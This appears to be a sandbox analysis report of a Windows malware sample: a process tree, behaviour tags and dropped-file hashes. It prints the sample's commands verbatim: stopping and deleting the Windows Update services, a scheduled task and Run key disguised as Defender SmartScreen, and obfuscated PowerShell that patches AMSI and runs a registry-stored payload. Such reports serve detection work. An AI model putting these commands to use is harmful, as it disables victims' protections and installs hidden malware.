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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:424
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1364
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:5100
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4960
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1588
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3112
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3736
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1772
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1624
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4924
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3252
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1156
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2844
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2456
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2280
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2100
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1932
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1652
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1408
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:3712
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4984 -ip 49842⤵PID:3932
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3076 -ip 30762⤵PID:4768
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3868
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:904
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3956
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1508
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1964
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3996
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:888
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:WOEnkkqxAmKs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xzSCspegZSwBBG,[Parameter(Position=1)][Type]$KaMRcfTNVS)$ystfuiofova=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+'e'+'m'+''+[Char](111)+'ry'+[Char](77)+''+'o'+'du'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+'D'+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+'T'+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+'d'+','+''+'A'+''+[Char](110)+''+'s'+''+'i'+'Cla'+[Char](115)+''+'s'+','+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$ystfuiofova.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+'c'+''+[Char](105)+'a'+[Char](108)+'Nam'+[Char](101)+''+','+'Hid'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$xzSCspegZSwBBG).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$ystfuiofova.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+'e',''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'Ne'+'w'+''+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+'t'+'u'+'a'+''+[Char](108)+'',$KaMRcfTNVS,$xzSCspegZSwBBG).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+'a'+'g'+'e'+'d');Write-Output $ystfuiofova.CreateType();}$ufZAuLExtKGAK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+'d'+'l'+[Char](108)+'')}).GetType('M'+'i'+'cr'+'o'+''+[Char](115)+'o'+[Char](102)+''+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+'3'+[Char](50)+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](117)+''+'f'+''+'Z'+''+[Char](65)+'u'+[Char](76)+''+'E'+'xtKGA'+[Char](75)+'');$cLQOVRkpSuFzza=$ufZAuLExtKGAK.GetMethod(''+[Char](99)+''+[Char](76)+''+[Char](81)+''+[Char](79)+'VR'+[Char](107)+''+[Char](112)+'S'+[Char](117)+'F'+[Char](122)+''+'z'+'a',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$anNpwVUcmoZFimiGdxc=WOEnkkqxAmKs @([String])([IntPtr]);$xkuPELcSDciHTOWQQzcBKu=WOEnkkqxAmKs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$HtKsKNlmEBV=$ufZAuLExtKGAK.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+''+[Char](97)+'nd'+'l'+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+[Char](110)+''+'e'+'l'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$vtcsSkOcPqpkbO=$cLQOVRkpSuFzza.Invoke($Null,@([Object]$HtKsKNlmEBV,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$WNGaFpppAAsInOFqX=$cLQOVRkpSuFzza.Invoke($Null,@([Object]$HtKsKNlmEBV,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$tphTntW=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vtcsSkOcPqpkbO,$anNpwVUcmoZFimiGdxc).Invoke(''+'a'+''+'m'+'s'+'i'+''+[Char](46)+'d'+'l'+''+'l'+'');$qSOWdotwoGYhgPVsO=$cLQOVRkpSuFzza.Invoke($Null,@([Object]$tphTntW,[Object]('A'+'m'+'s'+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$DvjWjwpYTP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WNGaFpppAAsInOFqX,$xkuPELcSDciHTOWQQzcBKu).Invoke($qSOWdotwoGYhgPVsO,[uint32]8,4,[ref]$DvjWjwpYTP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$qSOWdotwoGYhgPVsO,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WNGaFpppAAsInOFqX,$xkuPELcSDciHTOWQQzcBKu).Invoke($qSOWdotwoGYhgPVsO,[uint32]8,0x20,[ref]$DvjWjwpYTP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+'R'+'E'+'').GetValue(''+'d'+''+[Char](105)+'al'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3136 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cCYNMqzrYhTQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xQKoHrCqghxEwz,[Parameter(Position=1)][Type]$OutTKlaFpE)$NPWEaEGzlJK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'efl'+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+'De'+'l'+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+'M'+''+'o'+'d'+'u'+''+'l'+''+'e'+'',$False).DefineType(''+'M'+''+'y'+''+'D'+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+'e'+[Char](84)+''+'y'+'p'+'e'+'','Cl'+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+''+','+''+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+'la'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$NPWEaEGzlJK.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+'e'+''+[Char](44)+'H'+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+','+''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$xQKoHrCqghxEwz).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+'e,M'+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+'d');$NPWEaEGzlJK.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+''+'k'+''+'e'+'','P'+'u'+''+'b'+'l'+'i'+'c'+','+''+[Char](72)+'id'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+','+[Char](78)+''+'e'+''+[Char](119)+'S'+[Char](108)+'o'+[Char](116)+''+','+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$OutTKlaFpE,$xQKoHrCqghxEwz).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $NPWEaEGzlJK.CreateType();}$mnmmwzqhUmSPH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+'l'+[Char](108)+'')}).GetType('Mi'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+'n'+'3'+'2'+'.'+'U'+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+'em'+[Char](110)+''+[Char](109)+''+[Char](109)+''+'w'+'zq'+[Char](104)+'U'+[Char](109)+'S'+[Char](80)+'H');$WRjLedcGUMiPit=$mnmmwzqhUmSPH.GetMethod(''+'W'+''+[Char](82)+''+'j'+''+'L'+''+[Char](101)+''+[Char](100)+'cG'+[Char](85)+''+[Char](77)+''+'i'+''+[Char](80)+''+'i'+''+[Char](116)+'',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GyOPVsptYjNbjhkyBAn=cCYNMqzrYhTQ @([String])([IntPtr]);$XwDJCozfGiSMVYUurFOOxZ=cCYNMqzrYhTQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pPMjgrBsUBd=$mnmmwzqhUmSPH.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+'r'+''+'n'+''+[Char](101)+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')));$thImQrvaxGIRuB=$WRjLedcGUMiPit.Invoke($Null,@([Object]$pPMjgrBsUBd,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+'L'+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$HmXxersZdJwSFcAtL=$WRjLedcGUMiPit.Invoke($Null,@([Object]$pPMjgrBsUBd,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+'t'+'')));$gmpBGjE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($thImQrvaxGIRuB,$GyOPVsptYjNbjhkyBAn).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+'.'+''+[Char](100)+''+'l'+''+'l'+'');$RPErbQvazcCyPxXQD=$WRjLedcGUMiPit.Invoke($Null,@([Object]$gmpBGjE,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+''+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+'f'+'f'+'er')));$asuDnSALxM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HmXxersZdJwSFcAtL,$XwDJCozfGiSMVYUurFOOxZ).Invoke($RPErbQvazcCyPxXQD,[uint32]8,4,[ref]$asuDnSALxM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$RPErbQvazcCyPxXQD,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HmXxersZdJwSFcAtL,$XwDJCozfGiSMVYUurFOOxZ).Invoke($RPErbQvazcCyPxXQD,[uint32]8,0x20,[ref]$asuDnSALxM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('di'+[Char](97)+''+[Char](108)+'e'+[Char](114)+'st'+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1008
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5440cb38dbee06645cc8b74d51f6e5f71
SHA1d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA2568ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
SHA5123aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
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Filesize
226B
MD5916851e072fbabc4796d8916c5131092
SHA1d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA2567e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA51207ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
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Filesize
19KB
MD56859d2b727e6deb2f052b911cd757709
SHA11e52d21f9b8514be2e7581e3ef1129144114d9f0
SHA2568ba5b9ee13bf0eff1588f6be95d96b94f9d038cc1fac2d1224dfe326ccbe3236
SHA512285bc01d9823a11690085fc3683ddfed64f8c5f5f13da72e204597bc6e9a68284d053146d48e22524e58d51b02c249fcea709c1fa20c172e354b9aae3764e7c5
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Filesize
948B
MD5d3976ee5c15a9fa2c0fadc1a864bd6bc
SHA15c1933cabd5d9f68d54b934c17fc490262a09459
SHA25640e164bd699c73dde0bcc8b87ed990c12f03dfd17cab7b8767e7a3fca86d5d14
SHA5124b2705cf34622008587b43723f1cf272ed10e57666940e24efd8b4a4cb60c91b06cfcd279e12437e0e0af586e5a565675459341c1dea8754cb1fb7b158848367
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17